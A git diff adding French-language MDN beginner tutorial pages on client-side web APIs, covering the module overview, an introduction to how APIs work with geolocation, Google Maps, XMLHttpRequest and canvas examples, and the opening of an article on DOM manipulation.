diff --git a/files/fr/learn/javascript/client-side_web_apis/index.html b/files/fr/learn/javascript/client-side_web_apis/index.html new file mode 100644 index 0000000000..d5d6f410e3 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/index.html @@ -0,0 +1,51 @@ +--- +title: API web utilisées côté client +slug: Apprendre/JavaScript/Client-side_web_APIs +tags: + - API + - API Web + - Apprendre + - Articles + - Codage + - DOM + - Débutant + - Graphismes + - JavaScript + - Localisation + - Media + - Module + - données +translation_of: Learn/JavaScript/Client-side_web_APIs +--- +
{{LearnSidebar}}
+ +

Lorsque vous écrivez du JavaScript côté client pour des sites Web ou des applications, vous n'irez pas très loin avant d'utiliser des API - des interfaces pour manipuler différents aspects du navigateur et du système d'exploitation sur lesquels le site opère, ou même des données provenant d'autres sites web ou services. Dans ce module, nous allons explorer ce que sont les API, et comment utiliser certaines API les plus courantes que vous rencontrerez souvent dans votre travail de développement.

+ +

Prérequis

+ +

Pour tirer le meilleur parti de ce module, vous devriez avoir parcouru les précédents modules JavaScript de la série (Premiers pas, Building blocks et objets JavaScript). Ces modules impliquent tout de même un bon nombre d'utilisations simples de l'API, car il est difficile d'écrire des exemples JavaScript côté client faisant quelque chose d'utile sans eux! Ici, nous passons à un niveau supérieur, en supposant que vous connaissiez le langage JavaScript de base et explorant les APIs Web courantes de manière un peu plus détaillée.

+ +

Une connaissance basique de HTML et CSS serait aussi utile.

+ +
+

Remarque: Si vous travaillez sur un ordinateur/tablette/autre périphérique où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de code en ligne tel que JSBin ou Thimble.

+
+ +

Guides

+ +
+
Introduction aux API du Web
+
Tout d'abord, nous survolerons du concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées. Nous verrons également quelles sont les principales API et leur utilisation.
+
Manipuler des documents
+
Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.
+
Récupérer des données du serveur
+
Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail, a en vérité eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que {{domxref("XMLHttpRequest")}} et l'API Fetch.
+
APIs tierces
+
Les APIs que nous avons vu jusqu'à présent sont intégrées dans le navigateur, mais ce n'est pas le cas de toutes. De nombreux gros sites web tels que Google Maps, Twitter, Facebook, PayPal, etc, fournissent des APIs permettant aux développeurs d'utiliser leurs données (par exemple pour afficher un flux twitter sur un blog) ou service (par exemple afficher une carte Google Maps sur un site, ou utiliser Facebook pour permettre aux utilisateurs de se connecter). Cet article compare les APIs du navigateur aux APIs tierces et montre quelques utilisations typiques de ces dernières.
+
Dessiner des éléments graphiques
+
Le navigateur contient des outils de programmation graphique très puissants, du langage SVG (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir API Canvas et WebGL). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.
+
APIs vidéo et audio
+
HTML5 fournit des éléments pour intégrer du multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc. Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés.
+
Stockage côté client
+
Les navigateurs web modernes permettent aux sites web de stocker des données sur l'ordinateur de l'utilisateur — avec sa permission — puis de les récupérer au besoin. Cela permet d'enregistrer des données pour du stockage long-terme, de sauvegarder des documents ou sites hors-ligne, de conserver des préférences spécifiques à l'utilisateur, et plus encore. Cet article explique les fondamentaux pour y parvenir.
+
diff --git a/files/fr/learn/javascript/client-side_web_apis/introduction/index.html b/files/fr/learn/javascript/client-side_web_apis/introduction/index.html new file mode 100644 index 0000000000..b7e2ed71b4 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/introduction/index.html @@ -0,0 +1,307 @@ +--- +title: Introduction aux API du Web +slug: Apprendre/JavaScript/Client-side_web_APIs/Introduction +tags: + - API + - API Web + - Apprentissage + - Article + - Codage + - Débutant + - Navigateur + - Objet + - Tierce partie + - côté‑client +translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

Tout d'abord, nous survolerons le concept d'API — qu'est-ce que c'est, comment ça fonctionne, comment les utiliser dans votre code, et comment sont-elles structurées ? Nous verrons également quelles sont les principales APIs et leur utilisation.

+ + + + + + + + + + + + +
Prérequis :Des connaissances de base en informatique, une compréhension de base du HTML et CSS, des notions de JavaScript (voir premiers pas, briques JavaScript, objets JavaScript).
Objectif :Vous familiariser avec les APIs, ce qu'elles permettent de faire, et comment les utiliser dans votre code.
+ +

C'est quoi une API ?

+ +

Les APIs (Application Programming Interfaces) sont des constructions disponibles dans les langages de programmation pour permettre aux développeurs de créer plus facilement des fonctionnalités complexes. Elles s'occupent des parties de code plus complexes, fournissant au développeur une syntaxe plus facile à utiliser à la place.

+ +

En guise d'exemple concret, pensez à des branchements électriques dans une maison, appartement ou autre logement. Si vous souhaitez utiliser un appareil dans votre maison, il vous suffit de le brancher dans une prise et cela fonctionne. Vous n'essayez pas de le brancher directement à l'alimentation électrique — le faire serait réellement inefficace, et, si vous n'êtes pas électricien, difficile et dangereux à réaliser.

+ +

+ +

Image source: Overloaded plug socket by The Clear Communication People, on Flickr.

+ +

De la même façon, par exemple, pour programmer des graphismes en 3D, il est beaucoup plus facile de le faire en utilisant une API écrite dans un langage de haut niveau comme JavaScript ou Python, plutôt que d'essayer d'écrire du code bas niveau (comme C ou C ++) qui contrôle directement le GPU de l'ordinateur ou d'autres fonctions graphiques.

+ +
+

Note : Voir aussi l'entrée API du glossaire pour plus de descriptions.

+
+ +

APIs JavaScript côté client

+ +

Le JavaScript côté client en particulier a de nombreuses APIs à sa disposition — elles ne font pas partie du langage JavaScript lui-même, elles sont construites par dessus JavaScript, offrant des super-pouvoirs supplémentaires à utiliser dans votre code. Elles appartiennent généralement à une des deux catégories:

+ +
    +
  • API du navigateur : Elles sont intégrées au navigateur Web ; elles peuvent afficher des données provenant du navigateur et de son environnement informatique et faire des choses complexes utiles avec les dites données.
    + Par exemple: l'API de géolocalisation fournit des constructions JavaScript simples pour extraire des données d'emplacement et afficher votre position sur une carte Google Map. En arrière-plan, le navigateur utilise un code de niveau plus bas (par exemple C ++) pour communiquer avec le matériel GPS du périphérique (ou ce qui est disponible pour déterminer les données de position), récupérer les données de position et les renvoyer à l'environnement du navigateur pour l'utiliser dans votre code. Mais encore une fois, cette complexité est abstraite par l'API.
    • +
  • API tierces : Elles ne sont pas intégrées au navigateur par défaut, et vous devez généralement récupérer le code de l'API et des informations depuis un site Web.
    + Par exemple: l'API Twitter vous permet d'afficher vos derniers tweets sur votre site Web. Elle fournit un ensemble de constructions que vous pouvez utiliser pour interroger le service Twitter et qui renvoit alors les informations demandées.
    • +
+ +

+ +

Relations entre JavaScript, APIs et autres outils JavaScript

+ +

Ci-dessus, nous avons indiqué ce qu'est une API JavaScript côté client et quelle est sa relation avec le langage JavaScript. Pour récapituler, clarifier, et apporter plus de précisions sur  d'autres outils JavaScript qui existent:

+ +
    +
  • JavaScript — Un langage de programmation de haut niveau intégré aux navigateurs, qui permet de mettre en œuvre des fonctionnalités sur les pages et applications Web. Notez que JavaScript est également disponible dans d'autres environnements de programmation, tels que Node. Mais ne vous en préoccupez pas pour l'instant.
    • +
  • API du navigateur — Constructions intégrées dans le navigateur, situées au‑dessus du langage JavaScript, permettant une mise en œuvre plus facile de fonctionnalités.
    • +
  • API tierce — Constructions intégrées à des plateformes tierces (par exemple Twitter, Facebook) qui permettent d'utiliser certaines fonctionnalités de ces plateformes dans vos propres pages Web (par exemple: afficher vos derniers Tweets sur votre page Web).
    • +
  • Bibliothèques JavaScript — Habituellement, un ou plusieurs fichiers JavaScript contenant des fonctions personnalisées que vous pouvez attacher à votre page Web pour accélérer ou activer l'écriture de fonctionnalités courantes. Des exemples incluent jQuery, Mootools et React.
    • +
  • Les frameworks JavaScript — Au‑dessus des bibliothèques, les frameworks JavaScript (par exemple Angular et Ember) sont plutôt des packages de HTML, CSS, JavaScript et autres technologies, que vous installez puis utilisez pour écrire une application web entière.
    + La différence essentielle entre une bibliothèque et un framework est « l'Inversion du Contrôle ». Avec une bibliothèque, c'est le développeur qui appelle les méthodes de la bibliothèque — il exerce le contrôle. Avec un framework, le contrôle est inversé : c'est le framework qui appelle le code du développeur.
    • +
+ +

Que peuvent faire les API ?

+ +

Il y a un beaucoup d'APIs disponibles dans les navigateurs modernes. Elles permettent de faire un large éventail de choses. Vous pouvez vous en faire une petite idée en jetant un coup d'œil à la page de l'index des API MDN. 

+ +

API de navigateur courantes

+ +

En particulier, voici les catégories d'API de navigateur les plus courantes que vous utiliserez (et que nous allons voir dans ce module plus en détail) :

+ +
    +
  • Les APIs pour manipuler des documents chargés dans le navigateur. L'exemple le plus évident est l'API DOM (Document Object Model). Elle permet de manipuler le HTML et CSS — créer, supprimer et modifier du code HTML, appliquer de nouveaux styles à votre page dynamiquement, etc. Par exemple, chaque fois que vous voyez une fenêtre pop-up apparaître sur une page, ou qu'un nouveau contenu affiché, c'est que le DOM est en action. Découvrez-en plus sur ces types d'API dans la rubrique Manipuler des documents.
    • +
  • Les APIs pour récupérer des données du serveur, afin de mettre à jour des sections d'une page Web, sont couramment utilisées. Ce détail apparemment anodin a eu un impact énorme sur les performances et le comportement des sites — si vous avez juste besoin de mettre à jour une liste de produits ou afficher de nouveaux articles disponibles, le faire instantanément sans avoir à recharger toute la page du serveur peut rendre le site ou l'application beaucoup plus réactif et « accrocheur ». XMLHttpRequest et l'API Fetch sont les API qui rendent ça possible. Vous verrez aussi peut-être le terme Ajax pour qualifier cette technique. Pour en savoir plus sur ces APIs, voir Récupérer des données du serveur.
    • +
  • Les APIs pour dessiner et manipuler des graphiques sont maintenant couramment prises en charge dans les navigateurs — les plus populaires sont Canvas et WebGL. Elles permettent la mise à jour, par programmation, des pixels contenus dans un élément HTML {{htmlelement ("canvas")}} pour créer des scènes 2D et 3D. Par exemple, vous pouvez dessiner des formes comme des rectangles ou des cercles, importer une image sur le canvas, et lui appliquer un filtre sépia ou niveau de gris à l'aide de l'API Canvas ou encore créer une scène 3D complexe avec éclairage et textures en utilisant WebGL. De telles APIs sont souvent combinées avec d'autres APIs, par exemple {{domxref("window.requestAnimationFrame()")}}, pour créer des boucles d'animation (faire des mises à jour continues de scènes) et ainsi créer des dessins animés et des jeux. Pour en savoir plus sur ces APIs, voir Dessiner des éléments graphiques.
    • +
  • Les APIs audio et vidéo comme {{domxref("HTMLMediaElement")}}, Web Audio API ou WebRTC, permettent de faire des choses vraiment intéressantes avec du multimédia, telles que la création de contrôles UI personnalisées pour jouer de l'audio et vidéo, l'affichage de textes comme des légendes et des sous-titres, la récupération de vidéos depuis votre webcam pour l'afficher sur l'ordinateur d'une autre personne dans une visio‑conférence ou encore l'ajout d'effets sur des pistes audio (tels que le gain, la distortion, la balance, etc.). Pour en savoir plus sur ces APIs, voir APIs audio et vidéo.
    • +
  • Les APIs de périphérique permettent essentiellement de manier et récupérer des données à partir de périphériques modernes, de manière utile pour les applications Web. Nous avons déjà parlé de l'API de géolocalisation accédant aux données d'emplacement de l'appareil afin que vous puissiez repérer votre position sur une carte. Autres exemples : indiquer à l'utilisateur qu'une mise à jour est disponible pour une application Web via des notifications système (voir l'API Notifications) ou des vibrations (voir l'API Vibration).
    • +
  • Les APIs de stockage côté client deviennent de plus en plus répandues dans les navigateurs Web — la possibilité de stocker des données côté client est très utile si vous souhaitez créer une application qui enregistre son état entre les chargements de page, et peut-être même fonctionner lorsque le périphérique est hors ligne. Il existe un certain nombre d'options disponibles, par exemple le simple stockage nom/valeur avec l'API Web Storage, et le stockage plus complexe de données tabulaires avec l'API IndexedDB. Pour en savoir plus sur ces APIs, voir Stockage côté client.
    • +
+ +

APIs tierces courantes

+ +

Il y a une grande variété d'APIs tierces; en voici quelques unes des plus populaires que vous allez probablement utiliser tôt ou tard : 

+ +
    +
  • L'API Twitter — vous permet, par exemple, d'afficher vos derniers tweets sur votre site Web.
    • +
  • L'API Google Maps — vous permet d'afficher des cartes sur vos pages web. Il s'agit à dire vrai d'une suite complète d'APIs, qui gèrent une grande variété de tâches, comme en témoigne l'API Picker Google Maps.
    • +
  • L'API Facebook — vous permet d'utiliser diverses parties de l'écosystème Facebook au profit de votre application, par exemple permettre de se connecter via Facebook, accepter des paiements via l'application, déployer des campagnes publicitaires ciblées, etc.
    • +
  • L'API YouTube — vous permet d'intégrer des vidéos YouTube sur votre site, de rechercher sur YouTube, de créer des playlists, etc.
    • +
  • L'API Twilio — fournit un framework permettant de créer des fonctionnalités d'appel vocal et vidéo dans votre application, d'envoyer des SMS/MMS depuis vos applications, et plus encore.
    • +
+ +
+

Note : Vous pouvez trouver des informations sur beaucoup plus d'API tierces dans le répertoire Programmable Web API.

+
+ +

Comment les API fonctionnent-elles?

+ +

Chaque API Javascript fonctionne de manière légèrement différente d'une autre, mais de manière générale, elles ont des fonctionnalités communes et des thèmes similaires.

+ +

Elles sont fondées sur des objets

+ +

Les APIs interagissent avec le code en utilisant un ou plusieurs objets Javascript, qui servent de conteneurs pour les données utilisées par l'API (contenues dans les propriétés d'objet), et la fonctionnalité rendue disponible par l'API (contenue dans des méthodes d'objet).

+ +
+

Note : Si vous n'êtes pas déjà familier avec le fonctionnement des objets, vous devriez revenir en arrière et parcourir le module objets Javascript avant de continuer.

+
+ +

Prenons pour exemple l'API Géolocalisation — c'est une API très simple composée de quelques simples objets :

+ +
    +
  • {{domxref ("Geolocation")}}, contient trois méthodes pour contrôler la récupération des données géographiques.
    • +
  • {{domxref ("Position")}}, représente la position de l'appareil à un moment donné — contient un objet {{domxref ("Coordinates")}} avec les informations de position réelles, plus un horodatage.
    • +
  • {{domxref ("Coordinates")}}, contient beaucoup de données utiles sur la position de l'appareil, y compris la latitude et la longitude, l'altitude, la vitesse et la direction du mouvement, et plus encore.
    • +
+ +

Alors comment ces objets interagissent-ils ? Si vous regardez notre exemple maps-example.html (regardez‑le aussi en direct), vous verrez le code suivant : 

+ +
navigator.geolocation.getCurrentPosition(function(position) {
+  var latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude);
+  var myOptions = {
+    zoom: 8,
+    center: latlng,
+    mapTypeId: google.maps.MapTypeId.TERRAIN,
+    disableDefaultUI: true
+  }
+  var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);
+});
+ +
+

Note : Quand vous chargez l'exemple ci-dessus pour la première fois, vous devriez voir une boîte de dialogue demandant si vous acceptez de partager votre position avec cette application (voir la section {{anch ("Elles ont des mécanismes de sécurité supplémentaires si nécessaire")}} plus loin dans cet article).
+ Vous devez accepter pour pouvoir inscrire votre position sur la carte. Si vous ne pouvez toujours pas voir la carte, vous devrez activer l'autorisation à la main. Vous pouvez le faire de différentes manières selon le navigateur utilisé ; par exemple, dans Firefox, allez dans > Outils > Informations sur la page > Permissions, puis modifiez le paramètre Accèder à votre position ; dans Chrome, allez à Paramètres > Confidentialité > Afficher les paramètres avancés > Paramètres de contenu, puis modifiez les paramètres d'emplacement.
+  

+
+ +

Pour récupérer l'objet {{domxref("Geolocation")}} du navigateur, on fait appel à {{domxref("Navigator.geolocation")}}. On se sert ensuite de la méthode {{domxref("Geolocation.getCurrentPosition()")}} pour obtenir la position actuelle de notre appareil. On commence donc avec

+ +
navigator.geolocation.getCurrentPosition(function(position) { ... });
+ +

C'est pareil que:

+ +
var myGeo = navigator.geolocation;
+myGeo.getCurrentPosition(function(position) { ... });
+ +

On peut utiliser la syntaxe point pour chaîner l'accès propriété/méthode et réduire ainsi le nombre de lignes à écrire.

+ +

La méthode {{domxref("Geolocation.getCurrentPosition()")}} n'a qu'un seul paramètre obligatoire : une fonction anonyme qui s'exécute une fois que la position actuelle du périphérique a été récupérée avec succès. Cette fonction prend elle-même un paramètre, l'objet {{domxref("Position")}}, contenant les données de position actuelle.

+ +
+

Note : Une fonction prise en argument par une autre fonction s'appelle une fonction de rappel.

+
+ +

Elles utilisent des fonctions de rappel

+ +

Cette manière d'appeler des fonctions seulement quand une opération est terminée, pour s'assurer de la bonne fin d'une opération avant d'utiliser les données renvoyées dans une autre opération, est très courante dans les API JavaScript. C'est ce qu'on appelle des opérations {{glossary("asynchronous", "asynchrones")}}.

+ +

Récupérer la position actuelle de l'appareil repose sur un composant externe (le GPS de l'appareil ou un autre matériel de géolocalisation), on ne peut pas garantir que cela sera fait à temps pour utiliser immédiatement les données qu'il renvoie. Par conséquent, quelque chose comme cela ne fonctionne pas :

+ +
var position = navigator.geolocation.getCurrentPosition();
+var myLatitude = position.coords.latitude;
+ +

Si la première ligne n'a pas encore renvoyé son résultat, la deuxième ligne renvoie une erreur, car les données de position ne sont pas encore disponibles.

+ +

Pour cette raison, les APIs impliquant des opérations asynchrones sont conçues pour utiliser des {{glossary ("callback function","fonctions de rappel")}} ou bien le système plus moderne des Promesses — maintenant disponible dans ECMAScript 6 et largement utilisé dans les nouvelles APIs.

+ +

Pour les APIs tierces, elles doivent être inclues

+ +

On combine l'API Geolocation avec une API tierce — l'API Google Maps — pour tracer l'emplacement renvoyé par getCurrentPosition() sur une carte Google Map. Pour mettre cette API à disposition sur notre page on doit l'inclure — vous trouverez cette ligne dans le code HTML:

+ +
<script type="text/javascript" src="https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko_de66pA"></script>
+ +

Elles utilisent des constructeurs et des options pour être personnalisées

+ +

Pour afficher la position de l'utilisateur sur la carte, on crée d'abord une instance d'objet LatLng avec le constructeur google.maps.LatLng(). Il prend les valeurs de géolocalisation {{domxref ("coords.latitude")}} et {{domxref ("coords.longitude")}} comme paramètres:

+ +
var latlng = new google.maps.LatLng(
+    position.coords.latitude,
+    position.coords.longitude
+);
+ +

L'objet que nous avons construit est définit comme la valeur de la propriété center d'un objet d'options, myOptions. Ces options vont être utilisées pour construire la carte.

+ +

On crée une instance d'objet pour représenter notre carte en appelant le constructeur google.maps.Map() avec deux paramètres — une référence à l'élément {{htmlelement ("div")}} sur lequel on veut afficher la carte (celui avec l'ID map_canvas), et l'objet d'options que nous avons défini juste au-dessus.

+ +
var myOptions = {
+  zoom: 8,
+  center: latlng,
+  mapTypeId: google.maps.MapTypeId.TERRAIN,
+  disableDefaultUI: true
+}
+
+var map = new google.maps.Map(document.querySelector("#map_canvas"), myOptions);
+ +

Ceci fait, notre carte s'affiche.

+ +

Ce dernier bloc de code met en évidence deux modèles courants que vous verrez dans de nombreuses APIs. Tout d'abord, les objets des APIs contiennent généralement des constructeurs, qui sont appelés pour créer des instances d'objets. Ensuite, les objets APIs ont souvent plusieurs options disponibles qui peuvent être modifiées pour obtenir l'environnement exact que vous voulez pour votre programme. Les constructeurs d'API acceptent généralement des objets d'options en tant que paramètres, ce qui vous permet de définir leur comportement.

+ +
+

Note : Ne vous inquiétez pas si vous ne comprenez pas immédiatement le détail de cet exemple . Nous aborderons plus amplement les APIs tierces parties dans un futur article.

+
+ +

Elles ont des points d'entrée identifiables

+ +

Lorsque vous utilisez une API, vous devez d'abord savoir quel est le point d'entrée de l'API. Dans l'API Geolocation, c'est assez simple — c'est la propriété {{domxref ("Navigator.geolocation")}} qui renvoie l'objet {{domxref ("Geolocation")}} du navigateur. Cet objet contient toutes les méthodes disponibles de géolocalisation à l'intérieur.

+ +

L'API DOM (Document Object Model) a un point d'entrée encore plus simple — ses caractéristiques sont généralement trouvées attachées à l'objet {{domxref ("Document")}}, ou à toute instance d'un élément HTML que vous souhaitez affecter d'une manière ou d'une autre. Par exemple:

+ +
var em = document.createElement('em'); // créer un nouvel élément
+var para = document.querySelector('p'); // référence à un élément p existant
+em.textContent = 'Hello there!'; // fournir à em un contenu textuel
+para.appendChild(em); // incorporer un paragraphe dans em
+ +

D'autres API ont des points d'entrée légèrement plus complexes, impliquant souvent un contexte spécifique dans lequel le code de l'API doit être écrit. Par exemple, l'objet contextuel de l'API Canvas est créé en obtenant une référence à l'élément {{htmlelement ("canvas")}} sur lequel vous voulez dessiner, puis en appelant sa méthode {{domxref ("HTMLCanvasElement.getContext ()")}} :

+ +
var canvas = document.querySelector('canvas');
+var ctx = canvas.getContext('2d');
+ +

Tout ce que nous voulons faire sur canvas est alors obtenu en appelant les propriétés et méthodes de l'objet conteneur (qui est une instance de {{domxref ("CanvasRenderingContext2D")}}). Par exemple :

+ +
Ball.prototype.draw = function() {
+  ctx.beginPath();
+  ctx.fillStyle = this.color;
+  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
+  ctx.fill();
+};
+ +
+

Note : Vous pouvez voir le code source de notre démo « balles rebondissantes » (ou voir directement).

+
+ +

Elles utilisent des événements pour réagir aux changements d'état

+ +

Nous avons déjà parlé des événements plus haut dans ce cours, dans notre article Introduction aux événements — cet article explique en détail ce que sont les événements Web et leur utilisation dans votre code. Si vous ne vous êtes pas encore familiarisé avec le fonctionnement des événements de l'API Web côté client, vous devriez lire cet article avant de continuer.

+ +

Certaines API Web ne détectent pas les événements, d'autres peuvent réagir à certains. Vous pouvez généralement trouver les propriétés des APIs qui permettent de lancer des fonctions lorsque les événements surviennent dans les sections "Gestionnaires d'événements" des documents de réference des APIs.

+ +

À titre de simple exemple, les instances de l'objet XMLHttpRequest (qui représentent une requête HTTP vers le serveur pour récupérer une ressource) ont un certain nombre d'événements disponibles. Par exemple, l'événement load est déclenché lorsqu'une réponse a été retournée avec succès avec la ressource demandée, et qu'elle devient alors disponible:

+ +
var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';
+var request = new XMLHttpRequest();
+request.open('GET', requestURL);
+request.responseType = 'json';
+request.send();
+
+request.onload = function() {
+  var superHeroes = request.response;
+  populateHeader(superHeroes);
+  showHeroes(superHeroes);
+}
+ +
+

Note : Vous pouvez voir le code source de notre exemple ajax.html (ou le voir directement).

+
+ +

Les cinq premières lignes définissent l'emplacement de la ressource que nous voulons récupérer, créent une nouvelle instance d'un objet de requête en utilisant le constructeur XMLHttpRequest(), ouvrent une requête HTTP GET pour récupérer la ressource spécifiée, spécifient que la réponse doit être envoyée au format JSON, puis envoient la demande.

+ +

La fonction gestionnaire onload indique ensuite ce qu'on fait avec la réponse. On sait que la réponse sera disponible dès que l'événement load est appelé (sauf si une erreur se produit), on sauvegarde donc la réponse — contenant le JSON renvoyé — dans la variable superHeroes, puis on la passe à deux fonctions différentes pour un traitement ultérieur.

+ +

Elles ont des mécanismes de sécurité supplémentaires si nécessaire

+ +

Les caractéristiques des APIs Web sont soumises aux mêmes considérations de sécurité que JavaScript et des autres technologies Web (par exemple, la same-origin policy), mais elles disposent parfois de mécanismes de sécurité supplémentaires.

+ +

Par exemple, certaines des APIs Web les plus modernes ne fonctionneront que sur les pages HTTPS car elles transmettent des données potentiellement sensibles (exemple: Service Workers et Push).

+ +

En outre, certaines APIs Web demandent l'autorisation d'être activés par l'utilisateur une fois que les appels sont faits dans votre code. Par exemple, vous avez peut-être remarqué une boîte de dialogue comme celle-ci lors du chargement de notre exemple de Geolocation précédent :

+ +

+ +

De même, l'API Notifications demande une autorisation:

+ +

+ +

Ces invites d'autorisation sont affichées aux utilisateurs pour des raisons de sécurité — si elles n'étaient pas en place, alors les sites pourraient commencer à suivre secrètement votre emplacement sans que vous le sachiez, ou à vous envoyer des messages indésirables avec beaucoup de notifications ennuyantes.

+ +

Résumé

+ +

À ce stade, vous devriez avoir une bonne idée de ce que sont les APIs, comment elles fonctionnent et ce que vous pouvez faire avec dans votre code JavaScript. Vous êtes probablement impatients de commencer à faire des choses amusantes avec des APIs spécifiques, alors allons-y ! Par la suite, nous verrons comment manipuler des documents avec le Document Object Model (DOM).

+ +

{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

Dans ce module

+ + + +

 

diff --git a/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.html new file mode 100644 index 0000000000..79911663f8 --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -0,0 +1,332 @@ +--- +title: Manipuler des documents +slug: Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents +tags: + - API + - Apprendre + - Article + - Codage + - DOM + - Document Object Model + - Débutant + - JavaScript + - Navigator + - WebAPI + - Window +translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.

+ + + + + + + + + + + + +
Prérequis:Connaissances de base en informatique, notions de base d'HTML, CSS, et JavaScript — dont les objets JavaScript.
Objectif:Sa familiariser avec les APIs DOM, et autres APIs souvent associées au DOM et à la manipulation de document
+ +

Les principaux composants du navigateur

+ +

Les navigateurs web sont des logiciels très compliqués avec beaucoup de pièces mobiles, dont beaucoup qui ne peuvent pas être contrôlées ou manipulées par un développeur web en utilisant JavaScript. Vous pourriez penser que de telles limitations sont une mauvaise chose, mais les navigateurs sont verrouillés pour de bonnes raisons, la plupart du temps pour des raisons de sécurité. Imaginez qu'un site web puisse accéder à vos mots de passe stockés ou autre information sensible, et se connecter à des sites Web comme si c'était vous?

+ +

Malgré les limitations, les APIs Web nous donnent accès à beaucoup de fonctionnalités, lesquelles nous permettent de faire pleins de choses géniales avec les pages web. Il existe quelques éléments évidents que vous utilisez régulièrement dans votre code — jetez un coup d'oeil au diagramme suivant, il représente les principaux composants du navigateur directemment impliqués dans l'affichage des pages web:

+ +

+ +
    +
  • La fenêtre est l'onglet du navigateur dans lequel une page web est chargée. Elle est représentée en JavaScript par l'objet {{domxref("Window")}}. Utiliser les méthodes disponibles sur cet objet nous permet par exemple de récupérer la taille de la fenêtre (voir {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}), manipuler le document chargé dans cette fenêtre, stocker des données spécifiques à ce document côté client (par exemple en utilisant une base de données locale ou autre mécanisme de stockage), attacher un gestionnaire d'événément à la fenêtre en cours, et plus encore.
    • +
  • La navigateur est l'état et l'identité du navigateur (le user-agent par exemple) tel qu'il existe sur le web. En JavaScript, il est représenté par l'objet {{domxref("Navigator")}}. Vous pouvez utiliser cet objet pour récupérer des choses telles que la géolocalisation, les préférences de langages de l'utilisateur, un flux vidéo en provenance de la webcam de l'utilisateur, etc.
    • +
  • Le document (accédé par le DOM dans les navigateurs) est la page en cours, chargée dans la fenêtre. Il est représenté en JavaScript par l'objet {{domxref("Document")}}. Vous pouvez utiliser cet objet pour retourner et manipuler le HTML et CSS qui composent le document, par exemple: récupérer un élément dans le DOM, changer son texte, appliquer de nouveaux style dessus, créer de nouveaux éléments et les ajouter à un élément comme enfant, ou même en supprimer.
    • +
+ +

Dans cet article, nous allons principalement nous concentrer sur la manipulation du document, mais nous verrons également quelques autres éléments utiles.

+ +

Le modèle objet du document (Document Object Model)

+ +

Le document chargé dans l'onglet de votre navigateur, et donc son contenu, est accessible via un modèle objet du document — Document Objet Model en anglais, ou DOM. Il s'agit d'une structure arborescente créée par le navigateur et qui permet aux langages de programmation d'accéder facilement à la structure HTML — par exemple, le navigateur lui-même l'utilise pour appliquer les informations de style ou pour corriger les éléments lorsque le HTML est invalide, tandis qu'un développeur peut l'utiliser pour manipuler la page une fois qu'elle a été chargée.

+ +

Nous avons créé une simple page d'example, dom-example.html (voir en direct). Essayez de l'ouvrir dans votre navigateur — c'est une page très simple qui contient un élément {{htmlelement("section")}}, à l'intérieur duquel se situe une image et un paragraphe avec un lien. Le code source HTML ressemble à ça:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <title>Simple DOM example</title>
+  </head>
+  <body>
+      <section>
+        <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
+        <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p>
+      </section>
+  </body>
+</html>
+ +

Le DOM, d'autre part, ressemble à ça:

+ +

+ +
+

Note: Ce diagramme du DOM a été créé en utilisant le Live DOM viewer de Ian Hickson.

+
+ +

Vous pouvez voir ici que chaque élément et donnée texte dans le document a sa propre entrée dans l'arbre — appelé un noeud (node). Vous rencontrerez également différents termes pour décrire différents type de noeuds et leur position dans l'arbre par rapport à d'autres:

+ +
    +
  • Noeud élément (element node): N'importe quel élément, tel qu'il existe dans le DOM..
    • +
